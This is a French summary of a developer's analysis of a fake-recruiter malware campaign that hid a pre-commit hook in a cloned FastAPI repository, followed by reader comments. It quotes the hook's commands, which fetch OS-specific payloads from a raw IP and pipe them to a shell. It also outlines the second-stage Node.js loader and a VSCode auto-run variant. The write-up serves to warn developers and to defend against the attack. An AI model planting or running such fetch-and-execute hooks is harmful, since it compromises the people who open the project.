2 points par GN⁺ 2 시간 전 | 2 commentaires | Partager sur WhatsApp
  • Un faux recruteur a proposé sur LinkedIn un poste de développeur Python à distance payé 10 000 à 15 000 $ par mois, puis a envoyé un fichier ZIP déguisé en exercice FastAPI légitime, configuré pour installer un malware lors des opérations Git
  • Le dépôt contenait, dans .git/hooks, un hook pre-commit caché qui exécutait discrètement une charge utile distante propre à chaque système d’exploitation, et les opérations Git demandées dans le PDF de l’exercice servaient à pousser le candidat à le déclencher
  • La charge utile Linux téléchargeait un script de deuxième étape dans ~/Documents, l’exécutait avec nohup, puis installait Node.js, des dépendances et un parser.js obfusqué pour le faire tourner en arrière-plan
  • En modifiant la valeur id=402 de la requête, un autre script était renvoyé ; package.json incluait notamment clipboardy pour accéder au presse-papiers et l’environnement de développement Ethereum hardhat, mais l’objectif final n’a pas été confirmé
  • Les attaquants ont simplement ajouté des répertoires malveillants à un dépôt FastAPI public ; une autre variante exécutait des commandes dès l’ouverture du dossier dans VSCode. Avant de manipuler un projet externe, il faut vérifier les répertoires cachés et les réglages d’exécution automatique

Une offre d’emploi trop belle pour être vraie

  • L’offre de poste de développeur Python arrivée via LinkedIn concernait un contrat remote-first payé 10 000 à 15 000 $ par mois, avec possibilité de conversion en CDI
  • Le niveau de rémunération élevé était annoncé avant même tout entretien, et le montant, très important selon les standards indiens, constituait un premier signal d’alerte
  • L’entreprise utilisée pour le recrutement a bien été identifiée comme une startup de Y Combinator, mais le doute subsistait : une société disposant d’un tel budget aurait généralement un processus de recrutement plus structuré
  • Après l’envoi du CV, la candidature a été immédiatement approuvée, puis une archive ZIP et un PDF d’instructions pour l’exercice ont été transmis via Google Drive
  • Le PDF demandait d’améliorer une base de code existante, de proposer une architecture et d’effectuer des opérations Git, ce qui ressemblait en apparence à un document d’évaluation classique

Un hook Git caché dans un projet FastAPI

  • L’archive contenait un backend FastAPI ordinaire utilisant SQLAlchemy, et requirements.txt ne révélait aucun paquet manifestement malveillant ni cas de typosquatting
  • Pour vérifier les éléments cachés, l’exécution de tree -a a révélé que plusieurs hooks Git étaient déjà configurés sous .git/hooks
  • Le script pre-commit utilisait uname -s pour détecter le système d’exploitation, puis téléchargeait et exécutait depuis le même serveur une charge utile spécifique à la plateforme
    • Sur macOS, il exécutait curl .../task/mac?id=402 | sh
    • Sur Linux, il exécutait wget .../task/linux?id=402 | sh
    • Sur les systèmes Windows, il exécutait curl .../task/windows?id=402 | cmd
  • Toute la sortie était redirigée vers /dev/null et le processus lancé en arrière-plan afin de cacher les traces d’exécution à l’utilisateur
  • L’utilisation directe de l’adresse IP brute 45.61.164.38:5777 au lieu d’un domaine rendait le comportement malveillant encore plus visible

Une charge utile Linux en plusieurs étapes

  • Le premier script Linux téléchargeait tokenlinux.npl dans ~/Documents, le renommait en tokenlinux.sh, puis lui accordait les droits d’exécution
  • Il lançait ensuite le script en arrière-plan avec nohup bash, afin que le processus continue de fonctionner même après la fermeture du terminal ou la déconnexion
  • Le script de deuxième étape effectuait discrètement les opérations suivantes
    • Installation de Node.js et configuration du chemin système
    • Téléchargement de parser.js et package.json
    • Installation des dépendances npm nécessaires
    • Exécution de parser.js avec nohup node et journalisation dans parser.log
  • parser.js était fortement obfusqué, au point d’être difficile à analyser manuellement, et le fichier original est conservé ici : parser.js

Possibilité d’identification par victime

  • Le paramètre id=402 était envoyé à répétition aux endpoints, et en modifiant cette valeur, un script complètement différent était renvoyé
  • Il est possible que les attaquants aient attribué un identifiant unique à chaque candidat pour fournir des charges utiles personnalisées, mais le mécanisme réel de suivi n’a pas été confirmé
  • Le code a été soumis à plusieurs LLM pour désobfuscation, avec des résultats divergents
    • Claude a refusé l’analyse en raison de ses restrictions de sécurité
    • Gemini a fourni un résultat d’analyse du script
  • Une recherche sur l’extension originale tokenlinux.npl a confirmé un lien avec une campagne d’attaque plus large

Des dépendances Node.js suspectes

  • Le projet dans package.json s’appelait tokendapp et incluait hardhat, axios, basic-ftp, clipboardy, jsonwebtoken, ps-node, request, entre autres
  • La raison de la présence de clipboardy, destiné à accéder au presse-papiers, et de paquets liés au système de fichiers dans une tâche de configuration en arrière-plan n’était pas claire
  • hardhat est un environnement de développement Ethereum, mais comme Ethereum a abandonné la preuve de travail, il est difficile d’affirmer qu’il s’agissait d’une configuration de minage classique
  • La possibilité d’une recherche de portefeuilles de cryptomonnaies ou d’interactions avec des extensions de navigateur locales a aussi été envisagée, mais l’objectif malveillant final n’a pas été confirmé

Une autre variante utilisant VSCode

  • Une autre variante de la même attaque cachait un dossier .vscode dans le fichier ZIP et le configurait pour exécuter une commande à l’ouverture du répertoire dans VSCode
  • Avec cette méthode, une infection peut se produire en ouvrant simplement le dossier, sans exécuter de commande Git ni lancer directement le code du projet
  • Il a été confirmé que l’entreprise concernée n’était pas directement impliquée dans l’attaque : les attaquants avaient emprunté le nom d’une société trouvée pour rendre l’offre de recrutement crédible

Un camouflage fondé sur la réutilisation d’un dépôt public

  • git log ne montrait pas un projet créé par les attaquants, mais conservait l’historique de commits de développeurs existants
  • L’original était le dépôt public personal-finance-service
  • Les attaquants ont cloné un projet FastAPI légitime, puis ont seulement ajouté des répertoires cachés malveillants pour le faire passer pour une base de code d’exercice
  • La structure était conçue de telle sorte qu’un examen limité au code légitime et à un requirements.txt propre pouvait laisser passer le comportement malveillant

Enquête sur le serveur d’attaque et limites

  • Un scan Nmap du serveur d’attaque a montré trois ports ouverts, dont deux ne répondaient pas à la détection de version
  • Le port 22 exécutait OpenSSH 9.6p1 sur Ubuntu
  • Au moment du scan, cette version n’était sortie que depuis un peu plus d’une semaine, aucun CVE exploitable connu n’a donc été trouvé, et il était difficile d’étendre l’enquête à l’intérieur du serveur
  • Le mode de distribution du malware était visible, mais la sécurité opérationnelle du serveur était relativement bien maintenue, ce qui a interrompu le suivi à ce stade

Le rôle joué par l’exercice Git

  • Les tâches Git du PDF avaient pour but d’inciter le candidat à exécuter au moins une commande Git, afin de déclencher le hook préinstallé
  • Le faux recruteur semble avoir supprimé son compte LinkedIn peu après avoir été contacté au sujet de la découverte de l’attaque
  • Avant d’exécuter un projet inconnu ou de lancer des commandes Git, il faut vérifier les répertoires cachés et les réglages d’exécution automatique comme .git et .vscode à l’aide d’outils tels que tree -a

2 commentaires

 
GN⁺ 8 분 전
Avis sur Lobste.rs
  • En vérifiant l’adresse IP fournie, 45.61.164.38, elle est hébergée chez RouterHosting, sous Cloudzy, sur l’AS14956, et ne recoupe pas les listes de blocage anti-spam de wiki que je garde habituellement ouvertes.
    Un signalement d’abus pourrait peut-être aider.

    • 14 heures plus tard, elle est toujours en service et continue de distribuer le même malware.
  • Je n’ai jamais été la cible d’une campagne d’arnaque personnalisée ; je n’ai reçu que du spam générique et de vraies offres d’emploi de mauvaise qualité, donc je suis un peu vexé.
    Même pas de phishing demandant un niveau d’effort intermédiaire.

  • Les garde-fous de Claude sont beaucoup trop agaçants.
    Les vrais utilisateurs malveillants ont une forte motivation pour les contourner, tandis que les utilisateurs ordinaires qui essaient de comprendre le contenu se font bloquer trop facilement et n’ont aucune raison de continuer à insister.

  • Après une longue recherche d’emploi, j’ai vu toutes sortes de situations absurdes, comme des demandes de livrables gratuits ou des tentatives de pirater les candidats, et ce cas-ci semble particulièrement flagrant.
    En général, je refuse les processus avec exercice à rendre et production de livrables gratuits, et je propose à la place de présenter un portfolio pertinent sur GitHub ou sur mon blog personnel, ou de réaliser l’implémentation en direct lors d’une session de pair programming.
    Le portfolio évite le conseil gratuit tout en montrant mon domaine d’expertise et mon expérience concrète, ce qui permet de me mettre en relation avec des opportunités plus adaptées ; l’implémentation en direct ressemble à un entretien technique classique ou à une discussion de conception système.
    S’ils refusent les deux, même avec quelques faux positifs, cela filtre beaucoup plus de vrais signaux d’alerte, donc je me retire du processus d’entretien.
    Je suis le principe suivant : « Si la preuve de mes compétences n’est pas recevable comme preuve devant le tribunal de cette organisation, je n’ai pas envie d’y travailler. »

  • Quand un site web lance automatiquement de la musique sans autorisation, c’est très agaçant.
    Il m’a fallu quelques secondes pour trouver la source de la gêne et Firefox permettait facilement de couper le son de l’onglet, mais ce ne devrait pas être à l’utilisateur de gérer ça au départ.

  • L’analyse est intéressante, mais continuer l’enquête dans une machine virtuelle dédiée juste après avoir découvert le malware me semble aussi être une approche qui accepte un niveau de risque assez élevé.
    Même pour un pentester expérimenté, un bref moment d’inattention peut causer de gros dégâts ; une prudence frôlant légèrement la paranoïa est donc concrètement utile.

  • hardhat peut se connecter à un RPC Ethereum distant ou exécuter un fork local simulé consommant très peu de ressources.
    Les objectifs possibles semblent être au nombre de deux : le vol de clés privées de portefeuilles non protégés et une attaque de l’homme du milieu (MITM) visant les portefeuilles matériels.
    Le premier est une technique simple, courante aussi dans des mods Minecraft par exemple ; si l’on possède déjà la clé privée, l’attaque peut se faire sans interaction de l’utilisateur, donc hardhat n’est vraiment nécessaire que pour préexécuter des transactions à titre d’essai.
    Le second exploite l’architecture dans laquelle une extension de navigateur propage les transactions signées via un serveur RPC hébergé.
    Pendant que l’utilisateur pense effectuer une transaction normale sur un site web de confiance, le serveur RPC la remplace par une charge utile malveillante ; si l’utilisateur signe sans vérifier correctement le contenu sur son portefeuille matériel, l’attaquant peut l’exécuter.

 
GN⁺ 2 시간 전
Avis sur Hacker News
  • Ce n’est qu’après avoir lu cet article que j’ai compris que j’avais été piraté d’une manière bien plus sophistiquée.
    Il y a quelques semaines, j’ai passé un entretien avec le CTO d’une vraie entreprise : il avait la caméra coupée et un fort accent, mais l’entretien semblait naturel et il maîtrisait bien la technique. Lors de l’entretien technique, il m’a dit qu’il fallait modifier un projet open source de l’entreprise et m’a demandé de cloner le dépôt et de vérifier l’environnement de développement.
    Ensuite, la personne des RH m’a dit que l’entretien était reporté parce que le CTO était malade, et quelques jours plus tard, son profil LinkedIn a lui aussi été supprimé. Après avoir vu cet article, j’ai vérifié : le dépôt que j’avais cloné et exécuté pendant l’entretien contenait une charge utile malveillante.
    J’ai probablement été ciblé parce que j’ai autrefois maintenu un package NPM à plus de 43 millions de téléchargements hebdomadaires. J’avais activé l’authentification à deux facteurs sur tous mes comptes et je publiais aussi mes packages NPM manuellement, sans jeton, mais je vais devoir réinitialiser mon ordinateur portable et tout réinstaller.

    • En vérifiant mon agenda, c’était un entretien de 45 minutes planifié via Calendly, et j’ai effectivement parlé pendant 45 minutes avec quelqu’un qui se faisait passer pour le CTO via le lien envoyé par la personne des RH.
      J’ai cherché des témoignages similaires sur HN, mais je n’ai rien trouvé mentionnant un appel Google Meet avec les escrocs.
    • Je refuse les demandes consistant à cloner tel quel un projet au hasard. Comme je suis développeur Rails, je peux créer l’ossature d’une application complète en quelques minutes ; je dis donc que, si on me donne les exigences, je l’implémenterai moi-même de bout en bout.
      Une entreprise sérieuse en tiendra compte, et si elle refuse, c’est qu’on aura évité un risque. Maintenant que les LLM sont largement utilisés pour générer du code, cela devrait être possible avec n’importe quelle stack technique.
    • Dans ce type d’environnement, il semble nécessaire d’utiliser VS Code isolé dans un conteneur.
    • C’est étrange de se dire qu’on utilise les mêmes réseaux sociaux que des personnes susceptibles d’être ciblées par ce genre d’attaque. Pour quelqu’un d’ordinaire comme moi, les seules arnaques qui arrivent sont du genre « tours gratuits » ou « milliardaire allemand mourant » ; le sujet d’e-mail le plus marquant que j’aie vu était « désolé d’avoir détruit ton vagin ».
  • Il semble que les attaques nord-coréennes visant les développeurs se soient multipliées récemment. En plus de ces méthodes qui existent depuis des années, je reçois environ une fois par semaine un e-mail d’un hacker nord-coréen disant « j’ai vu votre profil, voudriez-vous collaborer ? ».
    Dans les communautés Discord de programmation aussi, beaucoup de comptes demandent un emploi ou une collaboration quelques jours après leur arrivée. Il peut s’agir de vrais chercheurs d’emploi, mais le volume et la similarité des messages sont suspects ; et comme ils vont jusqu’à des communautés de bibliothèques Python peu connues et presque inactives, ils semblent scraper des listes de communautés Discord pour contacter tout le monde sans distinction.
    Les attaques qui exploitent la confiance entre individus se multiplient ; comme le disaient nos parents, il faut ne pas faire confiance aux inconnus sur Internet.

    • Désormais, les LLM peuvent générer une conversation de base naturelle, ce qui rend plus difficile de filtrer immédiatement les bots comme avant.
  • La technique consistant à vérifier le système d’exploitation de la victime puis à exécuter discrètement une charge utile distante se répète, et un article similaire était déjà en une le mois dernier.
    https://news.ycombinator.com/item?id=48546294

    • L’article original le signale aussi directement et renvoie vers des résultats Google montrant la même chose.
  • Une adresse IP brute donne fortement l’impression d’un malware, mais une victime qui est allée assez loin pour examiner le contenu des hooks ne s’arrêterait sans doute pas à ce soupçon. La plupart des développeurs ne pensent probablement pas que git commit peut exécuter un comportement malveillant ; je me demande si c’est une faille de sécurité de Git.

    • Le simple clonage d’un dépôt n’active pas automatiquement les hooks Git. Mais ici, il ne s’agissait pas d’un clone : c’était un projet téléchargé, donc la situation est différente.
    • Quel que soit l’outil utilisé, exécuter du code téléchargé qui n’a pas été examiné est aujourd’hui dangereux en soi.
  • Au final, ce qui ressort surtout, c’est qu’à cause de toutes ses protections, Claude était totalement inutile comme assistant.

  • L’utilisation d’une IP brute peut viser à ne pas laisser d’informations d’identité auprès d’un registrar de domaine, ou à minimiser les traces en ligne.

    • C’est sans doute pour cela que les adresses IP brutes sont souvent associées à des activités suspectes.
    • Ces hôtes peuvent aussi être des systèmes eux-mêmes infectés par un malware et actuellement exploités comme proxys.
  • La plupart des captures d’écran ne s’ouvraient pas directement, il fallait les consulter dans un nouvel onglet.
    Cette arnaque est assez subtile, et beaucoup de candidats ont probablement déjà été piégés ; le projet Visual Studio Code mentionné dans l’article semble encore plus dangereux. Si du code utilisateur peut s’exécuter simplement en ouvrant le projet, c’est clairement un vecteur de malware et il faut des mesures d’atténuation.
    La réaction des sites de recrutement est aussi insuffisante. Si quelqu’un prétend appartenir à une entreprise ou une institution, on pourrait exiger une preuve d’emploi, et le simple fait d’afficher un gros avertissement sur les messages de comptes non vérifiés rendrait beaucoup d’arnaques plus difficiles. Aujourd’hui, n’importe qui peut prétendre avoir travaillé dans telle entreprise ou étudié dans telle école.

    • Microsoft semble avoir oublié l’histoire des malwares via macros Word et Excel qui s’exécutaient automatiquement à l’ouverture des documents.
    • Toutes les images étant hébergées sur GitHub Pages, il faudrait sans doute utiliser un CDN séparé.
  • Ça fait plaisir de voir un article sur un vrai piratage arriver en première page de Hacker News.

    • Le mot hacker a un autre sens sur Hacker News.
      http://www.catb.org/jargon/html/H/hacker.html
      Il désigne une personne qui explore les détails et les limites des systèmes programmables, et qui prend particulièrement plaisir à comprendre en profondeur le fonctionnement interne des ordinateurs et des réseaux. Il désigne aussi quelqu’un qui programme avec passion, parfois avec acharnement, sans se limiter à la théorie.
  • Si LinkedIn prenait vraiment la lutte contre les arnaques au sérieux, il pourrait proposer une vérification par e-mail professionnel lorsqu’on indique son poste actuel. Si la rendre obligatoire est trop lourd, on pourrait au moins permettre aux recruteurs qui veulent prouver leur légitimité de se faire vérifier volontairement.

    • LinkedIn a déjà ajouté cette fonctionnalité en 2023 (https://news.linkedin.com/2023/april/linkedin-s-new-verifica...). Cela dit, peu de gens vérifient réellement leur e-mail, donc l’absence de vérification ne signifie pas forcément qu’un profil est faux.
    • Pendant plusieurs années, mes amis et moi avons utilisé de faux profils pour attirer des recruteurs et des entreprises afin de savoir quels postes étaient ouverts et quels candidats ils recherchaient. C’était particulièrement utile pour distinguer les entreprises et recruteurs sérieux des escrocs au moment où les frameworks JavaScript explosaient.
      On devrait encore voir des choses similaires visant le marché du recrutement IA et la demande autour des LLM et de l’automatisation.
  • Ce type d’attaque risque de devenir de plus en plus courant. Les attaquants ont fait des recherches approfondies et leur méthode est vicieuse, mais il faut reconnaître leur niveau de finition technique ; leur taux de réussite réel doit probablement être assez élevé.

    • L’analyse interne était amusante, comme un défi CTF. Cela aurait été encore plus intéressant s’il y avait eu une faille sur le serveur des attaquants.
    • Leur technologie a peut-être simplement été empruntée à un LLM.